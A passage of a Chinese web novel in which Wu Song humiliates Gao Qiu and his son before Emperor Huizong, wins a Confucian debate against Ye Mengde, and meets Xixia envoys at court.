眼前这锦衣公子不是别人,正是高俅之子高衙内。
这个高衙内,也并非高俅的亲生儿子,而是从兄弟那里过继的。
高衙内喜欢到大相国寺猎艳,就像大城市的步行街美女多,大相国寺的漂亮女子也多。
当年林冲就是带着老婆到大相国寺,被高衙内调戏逼死。
林冲只是一个禁军教头,不敢招惹高俅。
武松可不一样!
“你这厮,既然知道我名,还敢叫嚣!”
高衙内被武松唬了一跳,心中愤怒,指着扈三娘骂道:
“你家妹子我看上了,送到我府上,若是不识相,让你家破人亡!”
手下帮闲还在叫嚣,武松叉开手掌,狠狠一巴掌扇过去。
啪!
众人震惊地看着高衙内飞起来,狠狠撞在地上,口吐鲜血。
手下帮闲吓了一跳,跳起来大叫道:
“你敢打伤高衙内,好大的狗胆!”
武松还不解气,抬脚把帮闲全部踢翻吐血。
“天子脚下,任你是高俅、低球,须知有王法!”
高衙内感觉脑子嗡嗡的,不知道发生了什么。
我被打了?
有人敢打我?
在场众人见高衙内被打,纷纷为武松叫好。
武松一脚踩在高衙内脸上,骂道:
“有比生没鸟养的东西,不看在王法面上,老子今日结果了你!”
高衙内吓得瑟瑟发抖,缩在地上不敢说话。
“走!”
武松带着扈三娘扬长而去。
“衙内,衙内...”
几个帮闲挣扎着爬起来,左右军巡过来,见高衙内被打得凄惨,都吓了一跳,慌忙送回府衙。
扈三娘跟着武松出了大相国寺,问道:
“二郎,方才那人是谁啊?”
“高俅的儿子,高衙内。”
“高俅是谁?”
“殿帅府太尉。”
扈三娘愣住了,担忧道:
“你打了他的儿子,岂不是闯了天大的祸?”
武松停下来,牵着扈三娘的手,看着她的眼睛,说道:
“你记住,我不允许任何人调戏你!”
“管他是天王老子,敢觊觎你,死路一条!”
一股热流涌上心头,扈三娘猛地抱住武松,感动地说道:
“二郎,我今生今世跟着你。”
武松微微一笑:
拿下!
“好了,我们回去吧。”
武松牵着扈三娘的手,一路慢悠悠回到了宅子。
施恩和孙二娘、张青几个人也出去逛街了,家里只有戴宗。
“院长怎不出去看看?”
“我已来过多次了,无甚好看的。”
看着扈三娘甜甜地站在武松身后,戴宗笑道:
“三娘与二郎好生般配。”
扈三娘脸颊微红,说道:
“院长乱点鸳鸯谱。”
正说着,却听见门外人马轰鸣,武松眉头一皱,说道:
“高俅那厮来了。”
戴宗心中凛然,高俅是徽宗的心腹,出了名的奸臣,突然上门,肯定没有好事。
扈三娘的心更是咯噔一下,跟着武松走到门口。
却见高俅带着一百多披甲的禁军到了门口,见到武松,高俅破口大骂:
“你个杀头的贼武松,竟敢殴打我儿!”
“来人,给我拿下这畜生!”
手下禁军大步冲上来,武松叉开拳脚,没有和禁军厮杀,却是纵身跃起,将骑在马上的高俅拖下来,提在手里。
禁军和街上的百姓都看傻了!
“好你个高俅,原来那厮是你的儿子!”
“我义妹在大相国寺被你儿
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子当众调戏,你教子无方,还敢擅自调动禁军,好大的狗胆!”
“你以为我武松是何人,我是教头林冲么!”
“你儿子逼死林冲老婆,你引诱林冲入白虎节堂,你买通都虞候**,你以为老子不知道!”
啪啪!
武松当着所有人的面,呼呼就是两巴掌,打得高俅头昏脑涨!
多少年了,只有高俅打别人,哪有别人打他?
也只有年轻的时候,被王教头教训过一次。
后来高俅得势,把王教头逼得夜走延安府。
今日,大庭广众之下,居然又被打了!
戴宗和扈三娘看得目瞪口呆...
戴宗也是衙门中人,知道高俅的权势有多大。
武松敢当街扇他,简直就是英雄中的英雄啊!
扈三娘此时恋爱脑,觉得武松是为了她,心都要融化了。
禁军也被震惊了...
“武松,你好大的胆子,竟敢殴打太尉!”
武松指着禁军头领骂道:
“你是官家的禁军,却跟着高俅胡闹!”
“你们好大的狗胆,莫非高俅**时,你们也要跟着!”
一句话,骂得禁军面面相觑,不敢还嘴。
“武修撰,放了太尉吧,大庭广众,不成个体统。”
“你也知道要体统!”
武松一把扯下高俅的官帽,又把高俅的官袍当众撕开,怒道:
“我今日便扯着高俅去见圣上!”
说罢,武松揪着高俅的头发,大步往皇宫走去。
一则高俅在武松手里,二则武松也是状元、集英殿修撰,也是有圣恩的。
所以,禁军不敢对武松动手。
高俅刚才两巴掌被打得最疼,只能哎呦哎呦叫唤。
武松拖着高俅,大摇大摆走过街道闹市,周围百姓都来看热闹。
孙二娘几个正在逛街,刚好撞见武松拖着高俅经过。
“怎么了?二郎干甚去?”
路人激动地大喊:
“状元公打了高俅,要将高俅拖到皇宫见官家!”
平日里高衙内为非作歹,多少良家女子被他糟蹋,却又敢怒不敢言。
林冲好歹是八十万禁军总教头,也被弄得个家破人亡,投了梁山泊。
普通百姓谁敢反抗?
因此,武松动手拖了高俅进宫,城内百姓听到消息,都来围观。
武松也故意不走直路,弯弯绕绕走了几圈,等人数过万,才到了宫门口,对着里面大喊:
“微臣武松,求见圣上!”
第158章 高俅吃瘪,衙内被查
此时的徽宗正在禁中与周邦彦弹琵琶,太监杨戬和蔡攸陪着。
宫女匆匆进来,说武松在门口喊冤,还把高俅抓了。
徽宗皱眉,问道:
“甚么事情?”
宫女说道:
“高衙内调戏武松妹子,高太尉带兵捉拿武修撰,反被武修撰拿了。”
蔡攸脸色震惊,心中暗道:
这个贼武松,好大的狗胆!
“门外**了上万百姓,禁军正在门口维持秩序。”
听了宫女这话,蔡攸说道:
“圣上,民怨沸腾,且去看看。”
周邦彦却说道:
“上万百姓**,恐有贼人混迹其中,圣上不宜前往。”
太监杨戬也劝道:“圣上万金之躯,不宜前往,让童枢密去吧。”
高俅和蔡京、童贯同穿一条裤子。
如果让童贯去,肯定是武松吃亏。
蔡攸说道:
“圣上,我去处置,我为圣上分忧。”
徽宗说道:
“宫门口,怕甚么,走吧。”
杨戬马上安排侍卫扈从,蔡攸走在前面,俨然一副替徽宗赴死的架势。
到了宫门口,只见乌压压的人头,数万百姓**,还有百姓闻声而来。
禁军拦住大门,不让百姓冲进来,城墙上的禁军准备了**,防止民变。
蔡攸走到门口,见高俅披头散发、脸皮青紫,心中大喜:
“高太尉为何这副模样?”
高俅不语,见徽宗到了,方才大哭道:
“圣上救我,武松竟敢打我!”
徽宗见到高俅狼狈模样,无奈道:
“武松,且把人放了。”
武松这才松手,高俅大哭跪在徽宗跟前,就要告状,武松先一步开口:
“微臣武松,**太尉高俅谋反、治家不严、纵子行凶!”
高俅哭着大喊:
“圣上明鉴,武松行凶殴打我儿,又当街殴打老臣,求圣上做主。”
太监杨戬指着武松呵斥道:
“高太尉追随圣上多年,是老臣了,你竟然殴打,简直无法无天!”
武松正色道:
“高俅追随圣上多年,更应该遵守国法、管教家人!”
“如今这厮纵子行凶,肆意**良家女子,还把人诬陷!”
“如此恶贼,留在圣上近前,只会玷辱圣明!”
高俅怒道:
“你胡说八道!”
武松对着徽宗拜道:
“微臣昨日与义妹扈三娘在大相国寺,被高衙内当众调戏,人证皆在!”
“微臣再检举高俅陷害忠良,三年前,高衙内在大相国寺调戏教头林冲妻子,高俅不管教儿子,居然引诱林冲入白虎节堂,诬陷林冲行凶!”
“林冲刺配后,又雇佣都虞候灭口,逼得林冲落草水泊梁山!”
“高俅这厮枉法行凶,无所不为!其子高衙内**良家,罪大恶极!”
武松手指身后人群,说道:
“圣上可问这数万百姓,有多少妻女被他**!”
有了武松带头,身后百姓纷纷咒骂高俅、高衙内。
群情汹涌,徽宗也包庇不了。
“高俅,朕念你有从龙之功,多方抬举你。”
“你也须知道管教家里人,如此纵子胡为,你让朕如何是好?”
高俅眼泪汪汪,正要狡辩,武松说道:
“圣上,请大理寺彻查高俅之子高衙内!”
“此贼**无数,陷害忠良无数,这等恶贼不除,天下人都以为是高俅得了圣恩,便可胡作非为,平白玷辱圣明!”
太监杨戬赶忙说道:
“武修撰,适可而止,高太尉只有一个儿子,你害死高衙内,岂非绝人之祀?”
“杨公公,那高衙内是过继的子侄,再说,他独子便可不守王法?便**他**女?便可陷害忠良?”
杨戬被怼得没话说。
“微臣再**高俅私调兵马,意图谋反!”
武松再来一拳重击,高俅眼巴巴看着徽宗,无法狡辩。
武松指着身后跟来的禁军,说道:
“尔等身为禁军,本该守卫圣上,却与高俅沆瀣一气,意图谋反!”
身后的殿帅府禁军面面相觑,谁都不敢动。
事情闹大了,百姓骂声一片,徽宗无奈,说道:
“着大理寺彻查高衙内,高俅私调兵马,罚俸三月。”
“圣上英明!”
武松行礼,身后百姓高呼“万岁”!
蔡攸趁机拍马屁,说道:
“圣明真乃明君,京师百姓无不称颂。”
见百姓欢呼,徽宗这才心情好了些。
“好了,散了吧。”
徽宗回宫,蔡攸对着武松嘿嘿一笑,紧跟着回去了。
杨戬看了一眼徽宗,说道:
“太尉起来吧。”
说罢,匆匆追徽宗去了。
高俅爬起来,面如死灰,咬牙切齿道:
“武松,我与你不死不休!”
武松冷笑道:
“高俅,你也给老子听好,我要灭你满门!”
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高俅愣住了...居然有人敢如此威胁?
武松对着百姓喊道:
“诸位,多行不义必自毙,高家胡作非为,必有灭门之祸!”
武松走进人群,百姓簇拥欢呼,声音震动京师。
此时,高俅真的怕了。
回到宅子,扈三娘扑进武松怀里,感动地说道:
“差点是我害了二郎。”
“说甚么傻话,那高俅本就该死!”
孙二娘赞叹道:
“今日才知二郎的厉害,那高俅害了多少人,却又奈何不了他。”
“二郎今日拖着高俅游街,又让大理寺查高衙内,着实解气。”
施恩、张青和戴宗都很佩服。
张青到厨房切肉出来,众人庆祝,好好喝了一顿酒。
...
高俅并非没有政敌,朝堂上新党、旧党仍在明争暗斗。
武松撕开了一道口子,徽宗下令大理寺彻查,高衙内很快被抓了。
当然,高俅身为殿帅府太尉,权力很大,高衙内在牢房里也不受罪。
这些武松都知道,也无所谓。
武松答应过林冲,留着高家父子,让林冲亲手杀他们。
武松这样做,是为了推动自己出兵西夏。
...
太师府书房内。
高俅脸色铁青地进门,蔡京、童贯坐在里面。
“太尉坐吧。”
童贯看了一眼高俅,蔡京吩咐仆人倒茶,再把房门关闭。
“武松那厮,我要他死!”
高俅语气森冷,表情扭曲。
蔡京看着高俅肿起来的脸,说道:
“武松那厮还有圣恩,茂德帝姬和郓王与他是好友,难对付。”
“难对付的人多了,不都对付了!”
高俅愤恨,蔡京说道:
“我有一计。”
高俅、童贯看向蔡京:
“西夏使者正在京师,索取钱粮岁币。”
“待到朝会时,让武松上朝议事。”
童贯马上明白了,问道:
“太师的意思,让武松去西夏打仗?”
“不错,边关如今凋敝,无兵可用,让他去,必败无疑!”
“好计策,这厮害我兵败,也需让他自食苦果。”
高俅听了蔡京计策,终于露出了狰狞的笑容:
“好!就让这厮去边关送死!”
“最好让西夏杀了他,就算不死,回到京师,也断他个死罪!”
蔡京笑道:“这厮还有些名声,且先到翰林院辩经,压一压他的名头。”
第159章 儒林辩经,三娘吃醋
何运贞带着两个仆人进入宅子,武松正在教扈三娘枪法。
百兵枪为王!
战场之上,**比刀好用。
扈三娘的资质也很不错,学得很快。
在扈家庄的时候,扈三娘找不到好的师父,只能跟着走江湖的人学刀法。
到了武松这里,扈三娘学天下无对。
“小弟见过嫂嫂。”
何运贞笑呵呵行礼,扈三娘脸红道:
“乱叫甚么,人家还未出阁。”
“哥哥总会娶嫂嫂的。”
何运贞故意奉承,扈三娘心中高兴。
“少给老子扯鸟,来作甚?”
“哥哥让我寻找宅子,已经找好了,就在后街,原是一个富商的宅子,生意败了,出售宅子,须白银100万两。”
“好说,我们去看看。”
何运贞带路,扈三娘跟着武松出门。
走过一条街,就看见一处大宅。
主人已经搬走了,只剩下管家看着。
管家认得何运贞,带着里里外外看了宅子。
这是一座九进九出的宅子,房间很多,足够一大家子住下。
“你派人到我府上拿银子便是,这宅子我要了。”
武松很干脆,管家也知道武松的名声。
当下,管家通知原主,很快几十个人到了武松家里。
李馨负责记账,施恩、张青一众人帮忙,把银子搬走了。
过了房契,武松当天就搬家。
当晚,武松和众人喝了酒,庆祝乔迁之喜。
郓王赵楷听说武松搬家,也来陪着喝酒。
喝完酒,赵楷说道:
“听说太师在翰林院准备好了道场,翰林学士叶梦得要和你辩经了。”
“我知道,翰林院已经送了拜帖。”
“你著书立说,风头太过,蔡京嫉妒你,想借此压你的风头。”
“我也知道,不过,他想借此打压我,却是痴心妄想。”
何运贞有点醉了,说道:
“我家哥哥怕过何人,那叶梦得想打压我家哥哥,最后定是为我哥哥助威。”
“何老弟懂我。”
张青、戴宗几个人在旁边听着,插不上嘴。
扈三娘推了推孙二娘,低声道:
“二娘,我们明日也去听听。”
“不去,我就是个卖**的,哪里懂那些。”
“陪我去嘛。”
孙二娘一直摇头道:
“你若要**,我陪你去,听书我不去。”
扈三娘起身进了里屋,找李馨去了。
散了席,何运贞、赵楷各自归家。
换了新宅,最开心的是扈三娘,她可以在后院跑马。
翰林学士叶梦得挑战集英殿修撰武松,将在翰林院辩经。
叶梦得是有名气的学者、翰林院学士。
武松更是威风赫赫,去年的状元,著有《传**录》《四书章句注解》,还有《三国演义》《三字经》等书,都是有名气、广为流传的。
这个消息很快传遍京师,国子监的学生,各级官员,还有诸多学子,都很期待。
辩论的地点选在翰林院儒林。
这里是一个开放的园林,中间是一个讲台,可以容纳上万人。
时间地点都定好了。
到了第三天。
武松身穿一身紫色官袍、腰系玉带、挂着金鱼符,骑马出门,李二宝跟随。
扈三娘和李馨换了一身直裰,女扮男装,跟在武松后面。
今日的辩经,扈三娘想去看热闹。
但她是女流之辈,又不是皇亲贵胄,按理说不能进入。
李馨给她出了个主意,让她女扮男装,装作书生模样。
扈三娘觉得是好主意,和李馨一起女扮男装。
戴宗也换了一身干净衣服,跟着往外走。
孙二娘问道:“院长也要去听辩经?”
“我读过一些书,想听听那翰林学士到底说个甚么。”
孙二娘嘿嘿干笑,她是一点书没读过,完全不懂。
张青和施恩大眼瞪小眼,心中想着是不是也该读点书才好?
武松骑马到了翰林院门外,读书人、官员和喜欢看热闹的都来了,差不多上万人。
按理说,这样的辩论没什么看头,太专业了。
但是,武松的名气太大了。
去年的状元,又写了《三国演义》,在京师家喻户晓。
再加上刚刚暴打高俅、制裁高衙内,百姓对武松更加敬佩。
这次辩经,大家都希望武松赢。
众人让开一条路,武松骑马进了儒林,见到了翰林学士叶梦得。
中年男子、长相儒雅,看起来很不错。
“武修撰,有礼了。”
叶梦得拱手作揖,武松下马,回了一礼,问道:
“叶学
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士,礼义廉耻,何者为要?”
“自然是礼,有礼方知义,知义才有廉耻。”
“非也,廉耻为礼之根本,没有廉耻,哪有什么礼义。”
叶梦得脸色难看,知道武松在讽刺他依附蔡京,是个不懂廉耻的人。
国子监的学生都来了,翰林院的人也来了。
还有龙图阁、集英殿的人,京师书院的学生。
国子监祭酒董逸也在场,他坐在前面。
叶梦得和武松对坐,桌上摆着《四书章句注解》。
太师蔡京乘坐轿子进场,众人起身迎接。
不管私底下怎么说他奸臣,毕竟是当朝太师。
蔡京坐在主席台上,这次辩论由他主持。
何运贞、赵楷一起进场,也坐在前面。
扈三娘和李馨两人努力往前挤,找了个中间的位子坐下。
就在辩论要开始的时候,只见华盖进入儒林,徽宗来了。
所有人同时起身,迎接徽宗入场。
“臣等供应圣驾。”
徽宗从轿子里出来,坐在第一排中间的位子。
茂德帝姬赵福金也来了,轿子紧随其后。
高俅、童贯和杨戬也到场了,蔡攸和其他官员也一并跟随。
戴宗在人群中看向徽宗,这是他第一次见到皇帝。
扈三娘也很好奇皇帝长什么样,站起身来看了一会儿,发现也就那样。
李馨在扈三娘耳边说道:
“你看到圣上旁边的女子了么?”
“看到了,那是公主?”
“嗯,那是茂德帝姬,圣上最宠爱的女儿,茂德帝姬对主人有意。”
扈三娘听得心里一沉...再次看向赵福金,发现赵福金国色天香、气质超尘,自己完全比不过。
“坐下吧。”
李馨知道扈三娘想什么,用力扯了扯衣袖,扈三娘坐下来,感觉整个人都不好了。
蔡京对着徽宗行礼道:
“圣上,辩经是否开始?”
“开始吧。”
蔡京回到台上,继续主持辩经。
“今日在此举办辩经大会,所辩论的乃是武松所著的《四书章句注解》。”
“众所周知,此书错漏甚多,立意也有偏颇。”
“故而,翰林学士叶梦得在此与武松辩经,说个分明。”
蔡京看向叶梦得,说道:
“那便开始吧!”
第160章 必修书目,文坛第一
“你所著的《四书章句注解》支离破碎,不知所言!”
叶梦得首先开口,从总体上否定武松的书。
武松立即说道:
“子曰:吾道一以贯之。”
“我全书都以‘格物致知’为本,何谓支离破碎?”
“你自己没有读懂,便说我的书支离破碎。”
叶梦得开局不利,蔡京有些担心了。
纵观朝廷的所有官员,都只是一方面的人才,或者读书厉害,或者做事厉害,或者打仗厉害。
但是武松这人似乎什么都厉害!
这样的人如果成长起来,必定和自己争**力。
更何况,蔡京和武松已经撕破脸。
武松如果掌权,他蔡家会很惨!
叶梦得继续说道:
“你说‘存天理、灭人欲’,这是野狐禅。”
“自古以来,天理人心本是一体,你却将天理、人心割裂。”
汉朝汉武帝时期,董仲舒提出天人感应,从此罢黜百家、独尊儒术。
那时候起,一个很重要的观点就是天人感应。
所谓天的天人感应,说白了就是:
人在做、天在看!
人和天是一体的!
这个观点一直持续到北宋,武松提出的“存天理、灭人欲”,确实属于新观点。
“我所说的人欲,乃是人之私欲。”
“我说的天理,乃是天理良心。”
“便如当今朝廷,私欲膨胀,不顾朝廷礼法,肆意妄为。”
“好比高太尉的儿子高衙内,在大相国寺调戏良家妇女,心中不敬畏国法、不敬畏佛陀,无法无天。”
“这等人欲,难道要放纵吗?”
高俅坐在底下,脸色铁青,恨不得**武松。
你们辩经,关老子屁事?
把我拉出来鞭尸,算怎么回事?
周围的官员忍不住看向高俅,心中都赞同武松的说法。
看热闹的百姓纷纷点头,觉得武松所言有理。
高衙内这样的畜生,必须灭掉!
“你写的《四书章句注解》,都是你的观点,并非四书本身的观点。”
“到底是‘你注解四书’,还是‘四书注解你’?”
叶梦得的意思是,这本书只是武松的观点,并非四书的本意。
说得直白点,意思就是:
这本书是你自己胡说八道,和原文没有半毛钱关系。
武松哈哈笑道:
“叶学士如此说,那请问,你如何理解?”
你说我不行,你行你来啊!
叶梦得沉默了...
武松看向在场所有人,说道:
“此书是我武松对四书的理解,如果诸位觉得不妥,可以再写一本,与我武松打擂台!”
在场众人爆出一阵议论,也有赞同叶梦得观点的。
但是,让他们写一本,他们真的臣妾做不到啊!
叶梦得准备的三个问题,都被武松破解,剩下的都是细枝末节。
比如书中有错漏,武松一一反驳。
到了最后,叶梦得有点无语了,转头看向蔡京。
武松心中冷笑:
你看蔡京有个**用?
“听闻叶学士对《左传》颇有研究?”
叶梦得没话说,武松开始反击了。
“不错,我熟读《左传》,著有《春秋谳》一书。”
说起自己的书,叶梦得颇为得意。
武松嘿嘿冷笑,问道:
“你说《左传》成书于战国?”
“是,《左传》末尾有‘韩、魏反而丧之’,此书应当成于战国。”
武松哈哈笑道:
“《左传》作为经典,后世有人补全很正常。”
“你却以此为由,说成书于战国,简直胡说八道!”
“我再问你,你说《左传》传事不传义,岂不知书中自有解经?”
“你又说《左传》很多历史虚构,却又拿不出证据,又是胡说八道!”
“你说我的书穿凿附会,实际上你的书才是胡编乱造!”
武松对着叶梦得一阵输出,把叶梦得的书骂得一无是处。
台下,扈三娘眼巴巴看着武松和叶梦得。
不管是《四书章句注解》,还是叶梦得的《春秋谳》,扈三娘都没看过。
扈三娘其实和文盲差不多,小时候没读过书,只学过刀法。
但是,看周围读书人的样子,应该是武松赢了。
国子监祭酒董逸听着,心中暗道:
武松说的是,叶梦得的书,错误颇多。
周邦彦也在人群中,也觉得叶梦得此人不行。
特别是批评苏轼、欧阳修,说他们两个人的诗文不行。
说苏轼不行,叶梦得自己也没有比苏轼更好的诗文出来,就**知道瞎哔哔。
何运贞转头对赵楷说道:
“这叶梦得自取其辱。”
“他为了讨好蔡京。”
台上,叶梦得被武松怼得脸皮通红,狡辩道:
“我自有说法。”
“那就当着圣上和诸位学子的面,好好说说你的说法。”
叶梦得其实知道自己的书有问题,心里有鬼,怕说出来被武松戳穿。
面对武松的质问,叶梦得选择沉默。
台下的学子纷纷嘲笑:
“叶学士何必呢,自取其辱。”
“武修撰状元及第,写了许多书,哪个
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不比叶学士好。”
“叶学士依附蔡京,立身不正。”
听着台下的嘲讽,叶梦得看向蔡京。
蔡京说道:
“好了,辩经乃是为了辩理,武修撰何必人身攻击?”
“太师这是甚么话?他可以问我,我不可以问他?”
“你问便问了,为何说他胡编乱造?”
“哦,那便说说令郎蔡绦的《西清诗话》?”
蔡京脸色一黑,指着武松骂道:
“贼猢狲,你还敢说!”
就因为《西清诗话》,蔡京的三儿子蔡绦被罢免,削夺功名,毁了前程。
武松当众提起,蔡京气得跳脚。
“老狗,圣上当面,你敢骂人!”
武松当众骂蔡京是老狗,台下的学子大声叫好:
“有种!我辈当如此!”
“这才是我辈读书人的楷模!”
“满朝文武不敢言,唯有武松是男人!”
面对台下的叫好声,蔡京气得脸色煞白。
蔡攸在台下,看着老爹吃瘪,心中大爽:
拉拢武松是对的,这老狗就该武松收拾他!
眼看两边要吵起来,徽宗开口道:
“好了,今日事越说越清、理越辩越明。”
“今日辩经是为了说清楚事理,既然已经说清楚了,那便是了。”
“武修撰的《四书章句注解》甚好,列入国子监必修书目。”
武松马上起身,对着徽宗拜道:
“微臣谢圣上大恩。”
国子监祭酒董逸也起身拜道:
“微臣遵旨!”
《四书章句注解》列入国子监必修书目,这意味着以后国子监出来的所有官员,都要称呼武松一句:老师!
有了这样的地位,武松就是大宋文坛第一人!
从今日起,谁敢老子是武夫,两巴掌扇死他!
徽宗起身,高俅、杨戬跟着离开。
茂德帝姬赵福金回头深深看了武松一眼,武松也对着赵福金笑了笑。
这一切都被扈三娘看在眼里,心里酸溜溜的。
从台上下来,何运贞拱手祝贺道:
“恭喜哥哥成为大宋第一文人。”
赵楷笑道:“人没死,书被列入国子监必修书目,你是第一个!”
武松皱眉道:
“为何听着好晦气?”
“莫说晦气,写的书能列入国子监必修书目,多少读书人便是**也愿意!”
儒林的读书人围过来,对着武松行礼。
武松一一回礼,在众人的簇拥下,离开了儒林。
回到宅子,孙二娘走过来,问道:
“二郎,三娘怎的又伤心了?”
第161章 渣男话术,养寇自重
“又伤心了?我也不知。”
武松走进后院,进了扈三娘的房间,却见扈三娘穿着书生的衣服,坐在床边生闷气。
“怎的又伤心了?”
武松坐下,扈三娘转身背对着武松,一言不发。
“李馨!”
武松喊了一声,李馨从外面进来。
“主人有吩咐?”
“三娘怎的又伤心了?”
李馨看了一眼扈三娘,笑道:
“这便是主人的不是了,自家妹子伤心,却来问奴婢。”
“你这贱婢,快说!”
李馨笑道:
“今日主人在儒林与茂德帝姬眉目传情,三娘吃醋了。”
被点破心思,扈三娘娇声怒道:
“谁说我吃醋,撕烂你的嘴!”
武松笑道:“原来恁的,我以为亏欠了三娘。”
扈三娘转身看着武松,说道:
“公主千金之躯,我不能比她,我要回扈家庄。”
“你要弃我而去?”
“不是我要弃你而去,是我不配。”
武松抱着扈三娘,安慰道:
“你是你,她是她。”
“她有千金之躯,你也是我的心上人。”
“如何有了她,便不能没有你?”
扈三娘总觉得哪里不对,却又说不出来。
“公主对我有意,那是公主的事情。”
“你我有情,这是我们的事情。”
“谁说有了公主,便不能有你?”
李馨听着,心中暗道:
主人真是个多情的,只是有点不要脸皮了。
李馨悄悄退出房间,把房门关上。
扈三娘本来就没想过要走,只是觉得比不上公主,怕武松嫌弃。
武松花言巧语一番哄骗,扈三娘又高兴了。
“这书生的衣服,你穿着倒是合身。”
武松摸了摸细腰,然后往上摸。
扈三娘羞怒道:
“乱摸个甚?”
“与你看看是否合身。”
“不许摸!”
“我便摸了又如何?”
武松把扈三娘按在床上。
...
太师府。
叶梦得沉着脸坐在末位,一言不发。
蔡京苦着一张脸,高俅正在骂骂咧咧。
“那畜生辩经就辩经,为何要拉扯老子?”
“我儿子已经在大理寺监牢,他还要怎样?”
“莫非要我死绝,他方才干休?”
高俅骂了快半个时辰,还不觉得解气。
“太尉莫要再骂了,难道骂上一夜,便能骂死武松?”
童贯听得很不耐烦,高俅怒道:
“难道骂他也不行?”
蔡京开口道:
“今日辩经,本想灭他威风,谁曾想叶梦得不争气,反而助长了他的凶威。”
“他的书列入国子监必修书目,此等殊荣,从未有过!”
“武松这厮必须死,不能让他居于朝堂!”
童贯接过蔡京的话,说道:
“明日西夏使者觐见,让武松上朝议事,我等全心全力,让武松接了征战西夏的差事。”
“待他败了,一切都好收拾!”
叶梦得全程低头听着,一言不发。
突然,蔡京看向童贯,说道:
“那伙梁山贼寇,如何怎样了?”
童贯抬头,反问道:
“梁山贼寇?哪个?”
“便是胆大包天,在江州劫法场的。”
蔡京的儿子蔡德章在江州当知州,晁盖一群人劫法场救宋江,事情闹得很大。
特别是他的儿子蔡德章被吓了一跳。
所以蔡京一直记得。
“我却不甚清楚。”
童贯没怎么关注过,高俅却说道:
“武松那厮说,林冲在梁山泊落草,莫非就是他们?”
蔡京点头道:
“不错,正是他们!”
“斩草不除根、春风吹又生,梁山贼寇必须铲除!”
高俅看向童贯,说道:
“童枢密,杀不过西夏,难道杀不过区区草寇?”
“你在西夏战败,已有**劾你,不让你担任枢密使。”
“不如我等同往梁山剿匪,拿了他们的头颅,也好邀功。”
童贯一拍大腿,说道:
“此计甚妙!只是区区贼寇,如此兴师动众,只怕招来非议。”
“不急,若依太师所说,那群贼人胆大包天,必定越闹越大。”
“待他们闹大了,我们便师出有名。”
童贯哈哈笑道:“太尉此乃养寇自重!”
两人相视一笑。
蔡京抬手说道:
“梁山贼寇,固然要铲除,眼前先除掉武松!”
“明日朝会,让武松参加!”
商议妥当,高俅、童贯、叶梦得三人离去。
三子蔡绦从外面走进来,说道:
“父亲,我近日寻得一个有才华的。”
“哦?甚么人?”
“江宁人士,名秦桧,字会之。”
“秦桧?无名之辈,没听过。”
蔡绦坐下来,继续说道:
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“此人文章精熟,很有干事才能,愿意拜入我蔡家门下。”
“中了进士未?”
“中了举人,尚未中进士,住在京师,打算参加下一科进士。”
“那就留在府里,等他中了进士再说。”
“好。”
...
武家宅子里。
施恩手持一条长棒,给孙二娘、张青演示棍法。
李二宝和戴宗坐在旁边看着。
武松、扈三娘从房间里出来,扈三娘已经换了衣服。
“二郎,你看施恩的棍法如何?”
孙二娘把扈三娘拉到身边坐下。
武松看了会儿,摇头道:
“稀松平常,不得名师指点。”
“不过,我学的是刀法,对于棍法,也不精熟。”
“若是师兄花和尚来了,或许可以指点。”
正说着,一个太监进门来传旨,让武松明日到垂拱殿上朝议事。
朝会不是每个人都有资格参加的,必须官职到了一定级别。
或者所议之事相关,需要接受问询。
武松虽然清贵,但与朝廷大事没什么相关。
按理说,不该请他参加朝会。
武松拿了十两银子,塞给太监,说了声谢过。
“哥哥,朝会是不是和一群大臣议论军国大事?”
施恩很好奇。
他只是一个小管营出身,对于朝会这种高大上的东西很向往。
“哼,我猜应该是蔡京他们算计我,必然没好事。”
“算计?朝会如何算计?”
施恩不解,门外又来了一个人,自称枢密直学士府上的。
枢密直学士就是蔡攸,蔡京的长子。
“蔡大人有甚么话说?”
“蔡大人说:明日朝会,廷议西夏和谈,老狗要算计你。”
仆人原话传递,武松笑道:
“替我谢过蔡大人,告诉他,我已有打算。”
武松照样赏了十两银子,仆人欢喜走了。
戴宗问道:“西夏和谈,就是童贯打了败仗,西夏索取岁币吧?”
“对。”
武松不忧反喜,他等的就是这个。
“又不是二郎打的败仗,如何算计二郎?”
孙二娘很疑惑,武松笑道:
“那群老狗有的是手段,不过我已有对策。”
“嫂嫂等我好消息,明日廷议后,便可准备出兵了。”
“到时候我指挥千军万马,杀他个片甲不留,我等也好建功立业。”
见武松已有打算,众人这才放心。
第162章 西夏使者,蔡京拱火
垂拱殿。
这里是徽宗和大臣议事朝会的地方,大殿取名垂拱,意思是:
圣人垂拱而治天下。
武松穿着紫色袍服、腰系玉带、悬挂金鱼符,缓步走进大殿。
高俅、童贯和蔡京三人早早到了,蔡攸和其他大臣也到了。
武松第一次参加朝会,不知道自己该站在哪里。
蔡攸对着武松招招手,武松走过去,就在蔡攸身边站好。
殿内大臣看了一眼武松,又看向蔡京。
蔡家父子二人争**势,水火不容,此事人尽皆知。
读书人讲究修身齐家治国平天下。
蔡京搞得父子之间如同仇敌,朝中非议自然颇多。
眼看大臣到齐了,徽宗从内廷走出来,坐在龙椅上。
太监杨戬站在旁边,喊道:
“上朝!”
所有人对着徽宗行礼:
“臣等拜见圣上。”
徽宗微微颔首,目光落在武松身上,然后又看向蔡京:
“让西夏使者过来吧。”
徽宗开口,蔡京回头吩咐。
很快,鸿胪寺卿钱金辅带着一群西夏使者进来。
武松看过去,只见这群人顶上的头发全部剃光,只有两侧保留头发,扎成辫子,身上穿着皮甲。
这是典型的西夏武士打扮。
武松心中暗道:
西夏地处甘肃一带,那里干旱缺水,洗头不方便。
加上水里的盐分高,容易脱发秃头,所以干脆把头发剃掉。
这打扮,真**好丑!
为首一个男子身材魁梧、目光犀利,脸上带着嘲讽,看向童贯:
“枢密使好久不见了,当日你若亲临战场,我们早就见面了。”
童贯低头不敢直视。
此人是这次使团的主使,西夏晋王察哥。
察哥是西夏皇帝李乾顺的弟弟,西夏的名将。
这次统安城之战,就是察哥率领骑兵击败童贯,斩杀大将刘法。
取得胜利后,西夏派遣察哥作为使者,威逼大宋割地赔款。
见童贯低头不说话,察哥哈哈大笑道:
“你应该早早低下头,不该和我们大夏交战。”
“下次你再敢来,我一定斩下你的狗头当尿壶!”
面对察哥的肆意嘲讽,童贯始终不敢抬头。
武松忍不住嘲讽道:
“童枢密自诩英勇无敌,为何不敢抬头?”
童贯猛地抬头,看向武松,骂道:
“关你何事!”
“内斗内行、外战外行,童枢密真是栋梁之材。”
武松冷笑,最讨厌童贯这种窝里横、外面怂的。
察哥目光看向武松,心中升起一股警惕,问道:
“你是何人?”
“我乃大宋集英殿修撰兼侍读,武松!”
